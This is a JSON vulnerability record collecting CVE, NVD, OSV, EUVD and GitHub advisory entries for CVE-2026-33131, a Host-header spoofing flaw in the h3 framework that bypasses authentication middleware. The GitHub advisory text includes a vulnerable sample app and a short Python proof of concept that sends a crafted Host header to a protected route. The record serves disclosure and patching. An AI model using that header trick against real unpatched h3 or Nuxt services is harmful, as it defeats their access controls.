{"id":"CVE-2026-33131","aliases":["EUVD-2026-13672","GHSA-3vj8-jmxq-cgj5"],"status":"published","title":"h3 has a middleware bypass with one gadget","description":"H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.","severity":{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00404,"percentile":0.34947,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-290"],"published":"2026-03-18T16:18:12Z","modified":"2026-10-28T02:31:14Z","fixes":[{"ecosystem":"npm","package":"h3","fixed_in":["2.0.1-rc.15"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"h3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0-0"},{"fixed":"2.0.1-rc.15"}]}]},{"source":"osv","ecosystem":"npm","package":"h3","ranges":[{"type":"SEMVER","events":[{"introduced":"2.0.0-0"},{"fixed":"2.0.1-rc.15"}]}]}],"products":[{"vendor":"h3","product":"h3"},{"vendor":"h3js","product":"h3"}],"references":[{"url":"https://github.com/h3js/h3/security/advisories/GHSA-3vj8-jmxq-cgj5","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33131","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3vj8-jmxq-cgj5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33131.json","tags":["advisory"]},{"url":"https://github.com/h3js/h3","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33131","title":"h3 has a middleware bypass with one gadget","description":"H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.","status":"published","published":"2026-03-20T10:16:29.556Z","modified":"2026-03-20T11:25:53.88Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-13672","description":"H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.","status":"published","published":"2026-03-20T10:16:29Z","modified":"2026-03-20T11:25:53Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T19:25:32.430758Z"}],"ghsa":[{"id":"GHSA-3vj8-jmxq-cgj5","title":"h3 has a middleware bypass with one gadget","description":"# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.","status":"published","published":"2026-03-18T16:18:12Z","modified":"2026-03-20T21:28:02Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:39:39.567266Z"}],"nvd":[{"id":"CVE-2026-33131","description":"H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.","status":"published","published":"2026-03-20T11:18:02.7Z","modified":"2026-06-17T10:36:59.997Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"primary"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T14:12:10.126802Z"}],"osv":[{"id":"CVE-2026-33131","title":"h3 has a middleware bypass with one gadget","description":"H3 is a minimal H(TTP) framework. Versions 2.0.0-0 through 2.0.1-rc.14 contain a Host header spoofing vulnerability in the NodeRequestUrl (which extends FastURL) which allows middleware bypass. When event.url, event.url.hostname, or event.url._url is accessed, such as in a logging middleware, the _url getter constructs a URL from untrusted data, including the user-controlled Host header. Because H3's router resolves the route handler before middleware runs, an attacker can supply a crafted Host header (e.g., Host: localhost:3000/abchehe?) to make the middleware path check fail while the route handler still matches, effectively bypassing authentication or authorization middleware. This affects any application built on H3 (including Nitro/Nuxt) that accesses event.url properties in middleware guarding sensitive routes. The issue requires an immediate fix to prevent FastURL.href from being constructed with unsanitized, attacker-controlled input. Version 2.0.1-rc.15 contains a patch for this issue.","status":"published","published":"2026-03-20T10:16:29.556Z","modified":"2026-10-28T02:31:14.224177689Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T15:45:01.548715Z"},{"id":"GHSA-3vj8-jmxq-cgj5","title":"h3 has a middleware bypass with one gadget","description":"# H3 NodeRequestUrl bugs \n\nVulnerable pieces of code : \n```js\nimport { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from \"h3\";\nlet app = new H3()\n\nconst internalOnly = defineHandler((event, next) =\u003e {\n  const token = event.headers.get(\"x-internal-key\");\n\n  if (token !== \"SUPERRANDOMCANNOTBELEAKED\") {\n    return new Response(\"Forbidden\", { status: 403 });\n  }\n\n  return next();\n});\nconst logger = defineHandler((event, next) =\u003e {\n    console.log(\"Logging : \" +  event.url.hostname)\n    return next() \n})\napp.use(logger);\napp.use(\"/internal/run\", internalOnly);\n\n\napp.get(\"/internal/run\", () =\u003e {\n  return \"Internal OK\";\n});\n\nserve(app, { port: 3001 });\n```\n\nThe middleware is super safe now with just a logger and a middleware to block internal access.\nBut there's one problems here at the logger .\nWhen it log out the ```event.url``` or ```event.url.hostname``` or ```event.url._url```\n\nIt will lead to trigger one specials method \n\n```js \n// _url.mjs FastURL\nget _url() {\n    if (this.#url) return this.#url;\n    this.#url = new NativeURL(this.href);\n    this.#href = void 0;\n    this.#protocol = void 0;\n    this.#host = void 0;\n    this.#pathname = void 0;\n    this.#search = void 0;\n    this.#searchParams = void 0;\n    this.#pos = void 0;\n    return this.#url;\n}\n```\n\nThe `NodeRequestUrl` is extends from `FastURL` so when we just access ```.url``` or trying to dump all data of this class . This function will be triggered !! \n\nAnd as debugging , the `this.#url` is null and will reach to this  code  : \n```js\n this.#url = new NativeURL(this.href);\n```\nWhere is the `this.href` comes from ? \n```js \nget href() {\n    if (this.#url) return this.#url.href;\n    if (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n    return this.#href;\n}\n```\nBecause the `this.#url` is still null so `this.#href` is built up by : \n```js\nif (!this.#href) this.#href = `${this.#protocol || \"http:\"}//${this.#host || \"localhost\"}${this.#pathname || \"/\"}${this.#search || \"\"}`;\n```\nYeah and this is untrusted data go . An attacker can pollute the `Host` header from requests lead overwrite the `event.url` .\n\n# Middleware bypass\nWhat can be done with overwriting the `event.url`? \nAudit the code we can easily realize that the `routeHanlder` is found before running any middlewares \n```js\nhandler(event) {\n    const route = this[\"~findRoute\"](event);\n    if (route) {\n        event.context.params = route.params;\n        event.context.matchedRoute = route.data;\n    }\n    const routeHandler = route?.data.handler || NoHandler;\n    const middleware = this[\"~getMiddleware\"](event, route);\n    return middleware.length \u003e 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);\n}\n```\n\nSo the handleRoute is fixed but when checking with middleware it check with the **spoofed** one lead to **MIDDLEWARE BYPASS**\n\nWe have this poc : \n```py\nimport requests\nurl = \"http://localhost:3000\"\nheaders = {\n    \"Host\":f\"localhost:3000/abchehe?\"\n}\nres = requests.get(f\"{url}/internal/run\",headers=headers)\nprint(res.text)\n```\n\nThis is really dangerous if some one just try to dump all the `event.url` or something that trigger `_url()` from class FastURL and need a fix immediately.","status":"published","published":"2026-03-18T16:18:12Z","modified":"2026-03-20T21:59:20.258715Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-290"],"updated_at":"2026-11-02T15:46:36.092962Z"}]}}
